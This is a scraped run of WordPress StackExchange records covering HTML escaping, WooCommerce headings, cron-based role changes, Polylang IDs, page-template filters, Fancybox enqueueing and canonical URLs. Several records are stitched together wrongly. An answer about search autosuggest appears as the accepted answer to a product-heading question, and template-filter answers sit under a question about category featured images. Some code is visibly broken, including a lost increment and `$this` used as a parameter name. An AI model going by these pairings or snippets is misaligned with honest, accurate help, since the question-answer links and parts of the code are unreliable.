$category\_out[] ='<a href="'.esc\_url( get\_category\_link( $category\_one->term\_id ) ).'" class="'.strtolower($category\_one->name).'">' .$category\_one->name.'</a>';
}
$category\_out = implode(', ', $category\_out);
$cat\_out = (!empty($categories)) ? '<span class="cat-links"><span class="screen-reader-text">'.esc\_html\_\_('Categories', 'creativesfeed').'</span>'.$category\_out.'</span>' : '';
$id = get\_the\_ID();
if ($t == 2) :
$out .= '<div class="col-md-4 col-sm-12">
<div class="adinspire">
</div>
</div>';
elseif ($t == 5) :
$out .= '<div class="col-sm-12">
<div class="adlong2">
</div>
</div>';
endif;
if ($t == 9 || $t == 16) :
$out .= '<div class="col-md-4 col-sm-12">';
else :
$out .= '<div class="col-md-4 col-sm-6">';
endif;
$out .= '<div class="squarepost hvrlines">
<div class="noflow">';
$out .= '<a class="postLink" href="'.esc\_url(get\_permalink()).'" aria-hidden="true" style="opacity: 1;">';
$out .= srcset\_post\_thumbnail();
$out .= '</a>';
$out .= '</div>
<h4 class="info"><span>'.print\_categories().'</span></h4>
<h2 class="head3"><a>'.get\_the\_title().'</h2>
<p class="smallp">By: '.get\_field('design\_company', $id).'</p>
</div>
</div>';
$t ;
endwhile;
endif;
wp\_reset\_postdata();
wp\_die($out);
}
})</code></pre></textarea> | I think your answer is about escaping not execution, e.g.:
```
**Why does this text appear bold**
```
versus:
```
<b>Why does this text appear bold</b>
```
The problem is escaping, but first, some notes:
The Problem With Calling it Execution
-------------------------------------
Executing is the wrong word to use, which is why your googling did not yield results. No PHP is being executed here. Instead, your browser is returning HTML markup, and the browser is displaying it. What you want is to display a code snippet without it showing as real HTML. So escaping/encoding is the problem, not execution, and people will get confused if you call it execution.
Execution implies that code runs, no code is running here.
`esc_html` and how functions work
---------------------------------
You can't just wrap a code block in `esc_html( <code goes here>)`, that's not how functions work. `esc_html` isn't a magic modifier that wraps things like an if statement or a while loop, it isn't a language construct, it's a function.
Functions take something, do work on that something, then return it.
```
function func ( $in ) {
return 'output';
}
$in = 'input';
$out = func( $in );
echo $out; // output
```
`esc_html` is an escaping function. It takes unsafe input, escapes it, and returns it.
E.g.
```
echo esc_html( '<script>dangerous();</script>');
```
Outputs this in the HTML source:
```
<script>dangerous();</script>
```
Which will render in the browser as a readable string like this:
```
<script>dangerous();</script>
```
For Your Situation
------------------
```
$out = 'unescaped html code with no html entities';
echo esc_html( $out );
```
Additionally, you may want to look into other escaping functions for your other code as a security measure. |
302,519 | <p>Currently when I view one of my products and scroll down to read the description
below the tabs and above the text I have input, it has a heading which simply says <code>description</code> when I look at the code it is as:</p>
<pre><code><h2>description</h2>
</code></pre>
<p>nothing complicated lol.</p>
<p>My question though, is how i can customise this heading to suit the products, I cannot find any documentation online other than removing it completely. I dont want to remove it, I want it to be Unique to the product.</p>
<p>For example, maybe adding a bit of code to functions.php that will tailor the heading to the product by using the brand and title for example.</p>
<p>in Yoast there are the options to use:</p>
<p><code>%%catogory%%%%sep%%%%title%%</code></p>
<p>Most products on my site have multiple categories so I would be looking for something like</p>
<p><code>%%brand%%%%sep%%%%title%%</code> which would give the output - <code>brand - title</code></p>
<p>I dont know if it is possible but any help would be greatly appreciated or even if there might be a suitable plugin.</p>
<p>@Shameem Ali P.K Provided the code below:</p>
<pre><code>add_filter( 'woocommerce_product_description_heading',
'product_description_tab', 10, 1 );
function product_description_tab( $title ) {
global $post, $product;
$categ = $product->get_categories();
return $categ.'-'. $post->post_title;
}
</code></pre>
<p>I have found from Yoast what I believe to be the way they call the brand from PWB Plugin as shown below:</p>
<pre><code>public function get_product_var_brand() {
$product = $this->get_product();
if ( ! is_object( $product ) ) {
return '';
}
$brand_taxonomies = array(
'product_brand',
'pwb-brand',
);
$brand_taxonomies = array_filter( $brand_taxonomies, 'taxonomy_exists' );
$primary_term = $this->search_primary_term( $brand_taxonomies, $product );
if ( $primary_term !== '' ) {
return $primary_term;
}
foreach ( $brand_taxonomies as $taxonomy ) {
$terms = get_the_terms( $product->get_id(), $taxonomy );
if ( is_array( $terms ) ) {
return $terms[0]->name;
}
}
return '';
}
</code></pre>
<p>I have tried different things but am unsure how to combine the two to give the desired outcome stated above.</p>
| [
{
"answer_id": 302511,
"author": "WebElaine",
"author_id": 102815,
"author_profile": "https://wordpress.stackexchange.com/users/102815",
"pm_score": 2,
"selected": false,
"text": "<p>It sounds like you're asking for autosuggest, which is done with Javascript rather than PHP. PHP requires that the person searching submit their search, so they don't see suggestions along the way. Javascript however can start however many characters in you want it to, then pull results with every additional letter they type.</p>\n\n<p>Generally speaking you'll want to create your own custom plugin, so start with a tutorial there to get a feel for the process. You basically just need to create a PHP file within a folder within <code>/plugins/</code> with a few comments to help WP recognize it as a plugin. From there you can start working on JS and enqueue it using your plugin only on the page you're searching from. Add a listener on the search input box, then either immediately look up results when input is added, or wait until they type say 3 characters and then look up results. Once results are found, append a div with CSS to overlay it underneath the search input.</p>\n"
},
{
"answer_id": 302515,
"author": "cjbj",
"author_id": 75495,
"author_profile": "https://wordpress.stackexchange.com/users/75495",
"pm_score": 3,
"selected": true,
"text": "<p>This question is too broad to answer in detail, but here is how I would approach this:</p>\n\n<ol>\n<li>Given that WP's native search is slow, we can rule out using this to get intermediate results while the visitor is typing. Unless we have a lightning fast dedicated server.</li>\n<li>So, this means we will have to build our own index for search purposes. In order to limit the size of this index we would have to choose which fields we want to use for the suggestions. I'd say: title, excerpt, category and tags, along with the link to the page. Let's say these fields combined are a 400 byte chunk of information.</li>\n<li>Now, every time we save a post/page/attachment, we must store these chunks in a place that is readily accessible. The best way to do this probably depends on the eventual size of the site. With 1000 posts your index would be 400k bytes. That could be stored as an array of chunks in an option field in the database. If the site is much larger, one would probably save this array in a file.</li>\n<li>Now we have an index, the question is how to apply it to the site. There are two possible approaches: send searches to the server or download the whole index to the user end. If the index is 400k that's the size of an image, so just sending it with the page and search it locally with javascript would be acceptable. This is probably the fastest way. If you cannot send the whole index every time, you'll have to do the search on the server side by sending ajax-requests. The option table is always cached, so readily available. Keeping an index file cached requires some work, but is doable.</li>\n</ol>\n\n<p>Bottom line: yes, this can be done, but expect it only to be really fast if there are not too many posts to index.</p>\n"
}
]
| 2018/05/02 | [
"https://wordpress.stackexchange.com/questions/302519",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/136430/"
]
| Currently when I view one of my products and scroll down to read the description
below the tabs and above the text I have input, it has a heading which simply says `description` when I look at the code it is as:
```
<h2>description</h2>
```
nothing complicated lol.
My question though, is how i can customise this heading to suit the products, I cannot find any documentation online other than removing it completely. I dont want to remove it, I want it to be Unique to the product.
For example, maybe adding a bit of code to functions.php that will tailor the heading to the product by using the brand and title for example.
in Yoast there are the options to use:
`%%catogory%%%%sep%%%%title%%`
Most products on my site have multiple categories so I would be looking for something like
`%%brand%%%%sep%%%%title%%` which would give the output - `brand - title`
I dont know if it is possible but any help would be greatly appreciated or even if there might be a suitable plugin.
@Shameem Ali P.K Provided the code below:
```
add_filter( 'woocommerce_product_description_heading',
'product_description_tab', 10, 1 );
function product_description_tab( $title ) {
global $post, $product;
$categ = $product->get_categories();
return $categ.'-'. $post->post_title;
}
```
I have found from Yoast what I believe to be the way they call the brand from PWB Plugin as shown below:
```
public function get_product_var_brand() {
$product = $this->get_product();
if ( ! is_object( $product ) ) {
return '';
}
$brand_taxonomies = array(
'product_brand',
'pwb-brand',
);
$brand_taxonomies = array_filter( $brand_taxonomies, 'taxonomy_exists' );
$primary_term = $this->search_primary_term( $brand_taxonomies, $product );
if ( $primary_term !== '' ) {
return $primary_term;
}
foreach ( $brand_taxonomies as $taxonomy ) {
$terms = get_the_terms( $product->get_id(), $taxonomy );
if ( is_array( $terms ) ) {
return $terms[0]->name;
}
}
return '';
}
```
I have tried different things but am unsure how to combine the two to give the desired outcome stated above. | This question is too broad to answer in detail, but here is how I would approach this:
1. Given that WP's native search is slow, we can rule out using this to get intermediate results while the visitor is typing. Unless we have a lightning fast dedicated server.
2. So, this means we will have to build our own index for search purposes. In order to limit the size of this index we would have to choose which fields we want to use for the suggestions. I'd say: title, excerpt, category and tags, along with the link to the page. Let's say these fields combined are a 400 byte chunk of information.
3. Now, every time we save a post/page/attachment, we must store these chunks in a place that is readily accessible. The best way to do this probably depends on the eventual size of the site. With 1000 posts your index would be 400k bytes. That could be stored as an array of chunks in an option field in the database. If the site is much larger, one would probably save this array in a file.
4. Now we have an index, the question is how to apply it to the site. There are two possible approaches: send searches to the server or download the whole index to the user end. If the index is 400k that's the size of an image, so just sending it with the page and search it locally with javascript would be acceptable. This is probably the fastest way. If you cannot send the whole index every time, you'll have to do the search on the server side by sending ajax-requests. The option table is always cached, so readily available. Keeping an index file cached requires some work, but is doable.
Bottom line: yes, this can be done, but expect it only to be really fast if there are not too many posts to index. |
302,539 | <p>I need to set up a cron to change role of a user at a specific time. For example- At 8 PM everyday, the role of a specific user should be changed from "Customer" to "Editor" </p>
<p>How to accomplish this in wordpress? </p>
<p>UPDATE: </p>
<p>I have scheduled the function as follows but it's not running at the time set: </p>
<pre><code>if( !wp_next_scheduled( 'import_into_db' ) ) {
wp_schedule_event( strtotime('12:04:00'), 'daily', 'import_into_db' );
function import_into_db(){
$u = new WP_User(3);
$u->set_role('editor');
}
add_action('wp', 'import_into_db');
}
</code></pre>
<p>The functions is running fine independently (without scheduling) but doesn't run when scheduled. Cron is working fine on my install and time is set as per UTC. What's wrong in the scheduling part of my code? </p>
| [
{
"answer_id": 302542,
"author": "NightHawk",
"author_id": 14656,
"author_profile": "https://wordpress.stackexchange.com/users/14656",
"pm_score": 0,
"selected": false,
"text": "<p>You need to get the user's ID, create a <a href=\"https://codex.wordpress.org/Class_Reference/WP_User\" rel=\"nofollow noreferrer\">WP_User</a> instance, and with that, you can change the role for a specific user:</p>\n\n<pre><code>$u = new WP_User(3);\n$u->set_role('editor');\n</code></pre>\n\n<p>You can then use a custom interval to schedule this. How to do that has been answered here: <a href=\"https://wordpress.stackexchange.com/questions/179694/wp-schedule-event-every-day-at-specific-time\">Schedule event at specific time every day</a></p>\n"
},
{
"answer_id": 302585,
"author": "Bikash Waiba",
"author_id": 121069,
"author_profile": "https://wordpress.stackexchange.com/users/121069",
"pm_score": 1,
"selected": false,
"text": "<p>You can do something like this</p>\n\n<pre><code>add_action(\"after_switch_theme\", \"schedule_cron_job\"); // hook the schedule on theme switch or plugin activation based on the your usage also switch your theme after putting this on functions.php\nfunction schedule_cron_job(){\n\n if (! wp_next_scheduled ( 'import_into_db' )) {\n\n wp_schedule_event(strtotime('12:04:00'), 'daily', 'import_into_db');\n\n }\n\n}\n\nadd_action('import_into_db', 'your_cron_job'); // You were hooking to wp\n\n\nfunction your_cron_job(){\n\n $u = new WP_User(3);\n $u->set_role('editor');\n\n}\n</code></pre>\n\n<p>You can use cron manager plugins to check if cron job is scheduled or not.</p>\n"
}
]
| 2018/05/02 | [
"https://wordpress.stackexchange.com/questions/302539",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/142821/"
]
| I need to set up a cron to change role of a user at a specific time. For example- At 8 PM everyday, the role of a specific user should be changed from "Customer" to "Editor"
How to accomplish this in wordpress?
UPDATE:
I have scheduled the function as follows but it's not running at the time set:
```
if( !wp_next_scheduled( 'import_into_db' ) ) {
wp_schedule_event( strtotime('12:04:00'), 'daily', 'import_into_db' );
function import_into_db(){
$u = new WP_User(3);
$u->set_role('editor');
}
add_action('wp', 'import_into_db');
}
```
The functions is running fine independently (without scheduling) but doesn't run when scheduled. Cron is working fine on my install and time is set as per UTC. What's wrong in the scheduling part of my code? | You can do something like this
```
add_action("after_switch_theme", "schedule_cron_job"); // hook the schedule on theme switch or plugin activation based on the your usage also switch your theme after putting this on functions.php
function schedule_cron_job(){
if (! wp_next_scheduled ( 'import_into_db' )) {
wp_schedule_event(strtotime('12:04:00'), 'daily', 'import_into_db');
}
}
add_action('import_into_db', 'your_cron_job'); // You were hooking to wp
function your_cron_job(){
$u = new WP_User(3);
$u->set_role('editor');
}
```
You can use cron manager plugins to check if cron job is scheduled or not. |
302,550 | <p>How can I get the ID of the default language equivalent for whatever page I’m currently on?</p>
<p>For example, I’m on <code>abc.com/es/mypage</code>, I want to get the ID of <code>abc.com/mypage</code>.</p>
<p>I tried setting up the variable this way: </p>
<pre><code>$englishID = get_the_id(pll_default_language());
</code></pre>
<p>But this just grabs the ID of the page I’m currently on, not the English equivalent. Any ideas?</p>
| [
{
"answer_id": 302559,
"author": "mmm",
"author_id": 74311,
"author_profile": "https://wordpress.stackexchange.com/users/74311",
"pm_score": 2,
"selected": false,
"text": "<p>you can retrieve this identifier with that code :</p>\n<pre><code>$defaultLanguage = pll_default_language();\n\n$translations = pll_get_post_translations($post_ID);\n\n$id = $translations[$defaultLanguage];\n</code></pre>\n"
},
{
"answer_id": 302636,
"author": "website walrus",
"author_id": 114342,
"author_profile": "https://wordpress.stackexchange.com/users/114342",
"pm_score": 1,
"selected": false,
"text": "<pre><code>$post_id = pll_get_post( get_the_ID(), pll_default_language() );\n</code></pre>\n\n<p>Got this from the plugin author, works great!</p>\n"
}
]
| 2018/05/02 | [
"https://wordpress.stackexchange.com/questions/302550",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/114342/"
]
| How can I get the ID of the default language equivalent for whatever page I’m currently on?
For example, I’m on `abc.com/es/mypage`, I want to get the ID of `abc.com/mypage`.
I tried setting up the variable this way:
```
$englishID = get_the_id(pll_default_language());
```
But this just grabs the ID of the page I’m currently on, not the English equivalent. Any ideas? | you can retrieve this identifier with that code :
```
$defaultLanguage = pll_default_language();
$translations = pll_get_post_translations($post_ID);
$id = $translations[$defaultLanguage];
``` |
302,574 | <p>I'm developing a WordPress theme with several templates. One template is called "Tabs". If a page with this template assigned has children pages, parts of their contents are shown in tabs on the parent page. Therefore I only want to allow certain templates for the children pages.</p>
<p>Is it possible to modify the list (dropdown) of available templates under certain conditions? Is there a hook to achieve this?</p>
<p>My filter/action should look like this <em>(pseudocode)</em>:</p>
<pre><code>if(parent_page->template == 'tabs')
remove template != 'tab-content'
</code></pre>
| [
{
"answer_id": 302581,
"author": "cjbj",
"author_id": 75495,
"author_profile": "https://wordpress.stackexchange.com/users/75495",
"pm_score": 1,
"selected": false,
"text": "<p>The list of available templates is generated by <a href=\"https://developer.wordpress.org/reference/classes/wp_theme/get_page_templates/\" rel=\"nofollow noreferrer\"><code>get_page_templates</code></a>. By the end of this function you see a filter that allows you to modify the output. You can use that to change it under certain conditions like this:</p>\n\n<pre><code>add_filter ('theme_page_templates','wpse302574_conditional_templates', 10, 4);\n\nfunction wpse302574_conditional_templates ($post_templates, $this, $post, $post_type) {\n $parent_id = wp_get_post_parent_id ($post->ID);\n if (get_page_template_slug ($parent_id) == 'slug_of_your_parent_template') {\n // remove unwanted templates from $post_templates\n }\n return $post_templates;\n }\n</code></pre>\n\n<p>( I didn't test this code, some debugging may be necessary )</p>\n"
},
{
"answer_id": 302583,
"author": "Bikash Waiba",
"author_id": 121069,
"author_profile": "https://wordpress.stackexchange.com/users/121069",
"pm_score": 0,
"selected": false,
"text": "<p>You can do something like this</p>\n\n<pre><code>function wpdocs_filter_theme_page_templates( $page_templates, $this, $post ) {\n\n $parent_id = wp_get_post_parent_id( $post->ID );\n\n $parent_template = get_page_template_slug( $parent_id );\n\n if( 'template-parent.php' === $parent_template ){ // compare parent template\n\n foreach ($page_templates as $key => $value) {\n\n if( 'template-child.php' != $key ){ // compare child template\n\n unset( $page_templates[$key] ); // This will unset all the template except default template and child template\n\n }\n }\n\n }\n\n return $page_templates;\n }\n add_filter( 'theme_page_templates', 'wpdocs_filter_theme_page_templates', 20, 3 );\n</code></pre>\n\n<p>See <a href=\"https://developer.wordpress.org/reference/hooks/theme_page_templates/\" rel=\"nofollow noreferrer\">https://developer.wordpress.org/reference/hooks/theme_page_templates/</a></p>\n"
}
]
| 2018/05/03 | [
"https://wordpress.stackexchange.com/questions/302574",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/127852/"
]
| I'm developing a WordPress theme with several templates. One template is called "Tabs". If a page with this template assigned has children pages, parts of their contents are shown in tabs on the parent page. Therefore I only want to allow certain templates for the children pages.
Is it possible to modify the list (dropdown) of available templates under certain conditions? Is there a hook to achieve this?
My filter/action should look like this *(pseudocode)*:
```
if(parent_page->template == 'tabs')
remove template != 'tab-content'
``` | The list of available templates is generated by [`get_page_templates`](https://developer.wordpress.org/reference/classes/wp_theme/get_page_templates/). By the end of this function you see a filter that allows you to modify the output. You can use that to change it under certain conditions like this:
```
add_filter ('theme_page_templates','wpse302574_conditional_templates', 10, 4);
function wpse302574_conditional_templates ($post_templates, $this, $post, $post_type) {
$parent_id = wp_get_post_parent_id ($post->ID);
if (get_page_template_slug ($parent_id) == 'slug_of_your_parent_template') {
// remove unwanted templates from $post_templates
}
return $post_templates;
}
```
( I didn't test this code, some debugging may be necessary ) |
302,582 | <p>I am building a category overview page and i am use this code:</p>
<pre><code><?php
$limit = 999;
$counter = 0;
$categories = get_categories();
foreach ($categories as $category):
if ($counter < $limit) {
$args = array(
'category__in' => array(
$category->term_id
),
'caller_get_posts' => 1
);
$posts = get_posts($args);
if ($posts) {
echo '<div class="category">';
echo '<a href="' . get_category_link($category->term_id) . '" title="' . sprintf(__("View all posts in %s"), $category->name) . '" ' . '>';
echo '<h3>' . $category->name . '</h3>';
echo '</a>';
echo '</div>';
}
}
$counter++;
endforeach;
?>
</code></pre>
<p>But how to insert in the echo that the featured image from the last post in that category will be displayed.</p>
| [
{
"answer_id": 302581,
"author": "cjbj",
"author_id": 75495,
"author_profile": "https://wordpress.stackexchange.com/users/75495",
"pm_score": 1,
"selected": false,
"text": "<p>The list of available templates is generated by <a href=\"https://developer.wordpress.org/reference/classes/wp_theme/get_page_templates/\" rel=\"nofollow noreferrer\"><code>get_page_templates</code></a>. By the end of this function you see a filter that allows you to modify the output. You can use that to change it under certain conditions like this:</p>\n\n<pre><code>add_filter ('theme_page_templates','wpse302574_conditional_templates', 10, 4);\n\nfunction wpse302574_conditional_templates ($post_templates, $this, $post, $post_type) {\n $parent_id = wp_get_post_parent_id ($post->ID);\n if (get_page_template_slug ($parent_id) == 'slug_of_your_parent_template') {\n // remove unwanted templates from $post_templates\n }\n return $post_templates;\n }\n</code></pre>\n\n<p>( I didn't test this code, some debugging may be necessary )</p>\n"
},
{
"answer_id": 302583,
"author": "Bikash Waiba",
"author_id": 121069,
"author_profile": "https://wordpress.stackexchange.com/users/121069",
"pm_score": 0,
"selected": false,
"text": "<p>You can do something like this</p>\n\n<pre><code>function wpdocs_filter_theme_page_templates( $page_templates, $this, $post ) {\n\n $parent_id = wp_get_post_parent_id( $post->ID );\n\n $parent_template = get_page_template_slug( $parent_id );\n\n if( 'template-parent.php' === $parent_template ){ // compare parent template\n\n foreach ($page_templates as $key => $value) {\n\n if( 'template-child.php' != $key ){ // compare child template\n\n unset( $page_templates[$key] ); // This will unset all the template except default template and child template\n\n }\n }\n\n }\n\n return $page_templates;\n }\n add_filter( 'theme_page_templates', 'wpdocs_filter_theme_page_templates', 20, 3 );\n</code></pre>\n\n<p>See <a href=\"https://developer.wordpress.org/reference/hooks/theme_page_templates/\" rel=\"nofollow noreferrer\">https://developer.wordpress.org/reference/hooks/theme_page_templates/</a></p>\n"
}
]
| 2018/05/03 | [
"https://wordpress.stackexchange.com/questions/302582",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/136114/"
]
| I am building a category overview page and i am use this code:
```
<?php
$limit = 999;
$counter = 0;
$categories = get_categories();
foreach ($categories as $category):
if ($counter < $limit) {
$args = array(
'category__in' => array(
$category->term_id
),
'caller_get_posts' => 1
);
$posts = get_posts($args);
if ($posts) {
echo '<div class="category">';
echo '<a href="' . get_category_link($category->term_id) . '" title="' . sprintf(__("View all posts in %s"), $category->name) . '" ' . '>';
echo '<h3>' . $category->name . '</h3>';
echo '</a>';
echo '</div>';
}
}
$counter++;
endforeach;
?>
```
But how to insert in the echo that the featured image from the last post in that category will be displayed. | The list of available templates is generated by [`get_page_templates`](https://developer.wordpress.org/reference/classes/wp_theme/get_page_templates/). By the end of this function you see a filter that allows you to modify the output. You can use that to change it under certain conditions like this:
```
add_filter ('theme_page_templates','wpse302574_conditional_templates', 10, 4);
function wpse302574_conditional_templates ($post_templates, $this, $post, $post_type) {
$parent_id = wp_get_post_parent_id ($post->ID);
if (get_page_template_slug ($parent_id) == 'slug_of_your_parent_template') {
// remove unwanted templates from $post_templates
}
return $post_templates;
}
```
( I didn't test this code, some debugging may be necessary ) |
302,588 | <p>I would like to integrate Facybox 3 in my WordPress (only on posts). It works but I'm a bit bothered cuz the initialize script is loaded after the core minified <code>fancybox js</code>. So, here is the code I added in my child <code>functions.php</code>:</p>
<pre><code>// ENQUEUE FANCYBOX SCRIPT
function fancy_scripts() {
if ( is_single() ) {
wp_enqueue_script( 'fancybox-script', 'https://cdnjs.cloudflare.com/ajax/libs/fancybox/3.3.5/jquery.fancybox.min.js', array(), '3.3.5', true );
}
}
add_action( 'wp_enqueue_scripts', 'fancy_scripts' );
// INITIALIZE
function fancy_init(){
if ( is_single() ) {
?>
<script>
jQuery(document).ready(function($){
$("[data-fancybox]").fancybox({
buttons: [
'zoom',
'fullScreen',
'share',
'thumbs',
'close'
],
protect: true
});
$(document).on('click', '.fancybox-share a.fancybox-share__button', function(e){
e.preventDefault();
var url = $(this).attr('href');
window.open(url, '_blank');
});
});
</script>
<?php
}
}
add_action('wp_footer','fancy_init')
;
// ENQUEUE CSS TO FOOTER
function fancy_footer_styles() {
if ( is_single() ) {
wp_enqueue_style( 'fancybox-style','https://cdnjs.cloudflare.com/ajax/libs/fancybox/3.3.5/jquery.fancybox.min.css' );
}
};
add_action( 'get_footer', 'fancy_footer_styles' );
</code></pre>
<p>And here is the output html</p>
<pre><code><!--FOOTER-->
<script>
jQuery(document).ready(function($){
$("[data-fancybox]").fancybox({
buttons: [
'zoom',
'fullScreen',
'share',
'thumbs',
'close'
],
protect: true
});
$(document).on('click', '.fancybox-share a.fancybox-share__button', function(e){
e.preventDefault();
var url = $(this).attr('href');
window.open(url, '_blank');
});
});
</script>
<link rel='stylesheet' id='fancybox-style-css' href='https://cdnjs.cloudflare.com/ajax/libs/fancybox/3.3.5/jquery.fancybox.min.css?ver=81a38b5eb2a4df901367646a93448a94' type='text/css' media='all' />
<script type='text/javascript' src='https://cdnjs.cloudflare.com/ajax/libs/fancybox/3.3.5/jquery.fancybox.min.js?ver=3.3.5'></script>
</code></pre>
<p>My questions are:</p>
<ol>
<li>Is it a problem that Initialize loads before the core fancy js?</li>
<li>Is it a proper way to do that or do I absolutely have to put the initialize script in a separate js file and then enqueue it in the same function where I load the core file? As this, I mean :</li>
</ol>
<p>.</p>
<pre><code>function fancy_scripts() {
if ( is_single() ) {
wp_enqueue_script( 'fancybox-script', 'https://cdnjs.cloudflare.com/ajax/libs/fancybox/3.3.5/jquery.fancybox.min.js', array(), '3.3.5', true );
wp_enqueue_script( 'custom-script', get_stylesheet_directory_uri() . '/js/custom-scripts.js', array( 'jquery' ), true );
}
}
add_action( 'wp_enqueue_scripts', 'fancy_scripts' );
</code></pre>
| [
{
"answer_id": 302592,
"author": "cjbj",
"author_id": 75495,
"author_profile": "https://wordpress.stackexchange.com/users/75495",
"pm_score": 3,
"selected": true,
"text": "<p>There should be no real problems doing it this manner, but there is a more correct way, namely using <a href=\"https://developer.wordpress.org/reference/functions/wp_add_inline_script/\" rel=\"nofollow noreferrer\"><code>wp_add_inline_script</code></a>, which is exactly meant for situations where you want to append something to a script file. You would use it like this:</p>\n\n<pre><code>add_action ('wp_enqueue_scripts', 'wpse302588_enqueue_add_script');\n\nfunction wpse302588_enqueue_add_script() {\n $add_script = \"jQuery(document).ready(function($){ .... });\"; // your script as a string without <script> tags\n wp_enqueue_script ('fancybox-script', 'https://cdnjs.cloudflare.com/ajax/libs/fancybox/3.3.5/jquery.fancybox.min.js', array(), '3.3.5', true); \n wp_add_inline_script ('fancybox-script', $add_script, 'after');\n }\n</code></pre>\n"
},
{
"answer_id": 302598,
"author": "dragoweb",
"author_id": 99073,
"author_profile": "https://wordpress.stackexchange.com/users/99073",
"pm_score": 1,
"selected": false,
"text": "<p>Thanks to cjbj, here is the working code to add Fancybox to Wordpress:</p>\n\n<pre><code>// ADD FANCYBOX SCRIPT\nadd_action ('wp_enqueue_scripts', 'add_fancybox_script');\nfunction add_fancybox_script() {\n if ( is_single() ) { // LOAD ONLY FOR SINGLE POSTS\n $add_script = 'jQuery(document).ready(function($){ \n $(\"[data-fancybox]\").fancybox({\n buttons: [\n \"zoom\",\n \"fullScreen\",\n \"share\",\n \"thumbs\",\n \"close\"\n ],\n protect: true\n });\n });'; \n wp_enqueue_script ('fancybox-script', 'https://cdnjs.cloudflare.com/ajax/libs/fancybox/3.3.5/jquery.fancybox.min.js', array(), '3.3.5', true); \n wp_add_inline_script ('fancybox-script', $add_script, 'after');\n }\n}\n// ENQUEUE CSS TO FOOTER\nfunction fancy_footer_styles() {\n if ( is_single() ) {\n wp_enqueue_style( 'fancybox-style','https://cdnjs.cloudflare.com/ajax/libs/fancybox/3.3.5/jquery.fancybox.min.css' );\n } \n};\nadd_action( 'get_footer', 'fancy_footer_styles' );\n</code></pre>\n\n<p>I've loaded the css in the footer as it is not important when the page load.</p>\n\n<p>Also, be careful about mixing simple quotes (') and double quotes(\")!</p>\n"
}
]
| 2018/05/03 | [
"https://wordpress.stackexchange.com/questions/302588",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/99073/"
]
| I would like to integrate Facybox 3 in my WordPress (only on posts). It works but I'm a bit bothered cuz the initialize script is loaded after the core minified `fancybox js`. So, here is the code I added in my child `functions.php`:
```
// ENQUEUE FANCYBOX SCRIPT
function fancy_scripts() {
if ( is_single() ) {
wp_enqueue_script( 'fancybox-script', 'https://cdnjs.cloudflare.com/ajax/libs/fancybox/3.3.5/jquery.fancybox.min.js', array(), '3.3.5', true );
}
}
add_action( 'wp_enqueue_scripts', 'fancy_scripts' );
// INITIALIZE
function fancy_init(){
if ( is_single() ) {
?>
<script>
jQuery(document).ready(function($){
$("[data-fancybox]").fancybox({
buttons: [
'zoom',
'fullScreen',
'share',
'thumbs',
'close'
],
protect: true
});
$(document).on('click', '.fancybox-share a.fancybox-share__button', function(e){
e.preventDefault();
var url = $(this).attr('href');
window.open(url, '_blank');
});
});
</script>
<?php
}
}
add_action('wp_footer','fancy_init')
;
// ENQUEUE CSS TO FOOTER
function fancy_footer_styles() {
if ( is_single() ) {
wp_enqueue_style( 'fancybox-style','https://cdnjs.cloudflare.com/ajax/libs/fancybox/3.3.5/jquery.fancybox.min.css' );
}
};
add_action( 'get_footer', 'fancy_footer_styles' );
```
And here is the output html
```
<!--FOOTER-->
<script>
jQuery(document).ready(function($){
$("[data-fancybox]").fancybox({
buttons: [
'zoom',
'fullScreen',
'share',
'thumbs',
'close'
],
protect: true
});
$(document).on('click', '.fancybox-share a.fancybox-share__button', function(e){
e.preventDefault();
var url = $(this).attr('href');
window.open(url, '_blank');
});
});
</script>
<link rel='stylesheet' id='fancybox-style-css' href='https://cdnjs.cloudflare.com/ajax/libs/fancybox/3.3.5/jquery.fancybox.min.css?ver=81a38b5eb2a4df901367646a93448a94' type='text/css' media='all' />
<script type='text/javascript' src='https://cdnjs.cloudflare.com/ajax/libs/fancybox/3.3.5/jquery.fancybox.min.js?ver=3.3.5'></script>
```
My questions are:
1. Is it a problem that Initialize loads before the core fancy js?
2. Is it a proper way to do that or do I absolutely have to put the initialize script in a separate js file and then enqueue it in the same function where I load the core file? As this, I mean :
.
```
function fancy_scripts() {
if ( is_single() ) {
wp_enqueue_script( 'fancybox-script', 'https://cdnjs.cloudflare.com/ajax/libs/fancybox/3.3.5/jquery.fancybox.min.js', array(), '3.3.5', true );
wp_enqueue_script( 'custom-script', get_stylesheet_directory_uri() . '/js/custom-scripts.js', array( 'jquery' ), true );
}
}
add_action( 'wp_enqueue_scripts', 'fancy_scripts' );
``` | There should be no real problems doing it this manner, but there is a more correct way, namely using [`wp_add_inline_script`](https://developer.wordpress.org/reference/functions/wp_add_inline_script/), which is exactly meant for situations where you want to append something to a script file. You would use it like this:
```
add_action ('wp_enqueue_scripts', 'wpse302588_enqueue_add_script');
function wpse302588_enqueue_add_script() {
$add_script = "jQuery(document).ready(function($){ .... });"; // your script as a string without <script> tags
wp_enqueue_script ('fancybox-script', 'https://cdnjs.cloudflare.com/ajax/libs/fancybox/3.3.5/jquery.fancybox.min.js', array(), '3.3.5', true);
wp_add_inline_script ('fancybox-script', $add_script, 'after');
}
``` |
302,620 | <p>I wrote a guest blog post for another website. I'd like to publish this same blog post on <em>my</em> website but include a <strong>canonical URL</strong> that points to the original publisher. </p>
<p>This allows me to post the article on my website while notifying Search Engines of the canonical location of the post and avoiding SEO penalties.</p>
<p>In the wp_head action, WordPress prints a <code>rel=canonical</code> tag automatically and places it in the head for posts.</p>
<p>I tried to use a snippet of code to output my own <code>rel=canonical</code> (possibly compounding the already automatically output one) with:</p>
<pre><code><?php if ( is_single('1234') ) echo '<link rel="canonical" href="https://www.examplesite.com/my-guest-post" />'; ?>
</code></pre>
<p>Upon inspection, this code never prints to the page. I imagine it might have to do with parse order.</p>
<p>Does anyone know how I might correctly implement this? I don't want to mess with the WordPress native code too much but would like to find a simple mechanism that lets me alter the <code>rel=canonical</code> meta tag on a per post basis.</p>
<p>I do not want to use Yoast.</p>
<p>Thanks in advance,</p>
| [
{
"answer_id": 302674,
"author": "Jacob Peattie",
"author_id": 39152,
"author_profile": "https://wordpress.stackexchange.com/users/39152",
"pm_score": 3,
"selected": true,
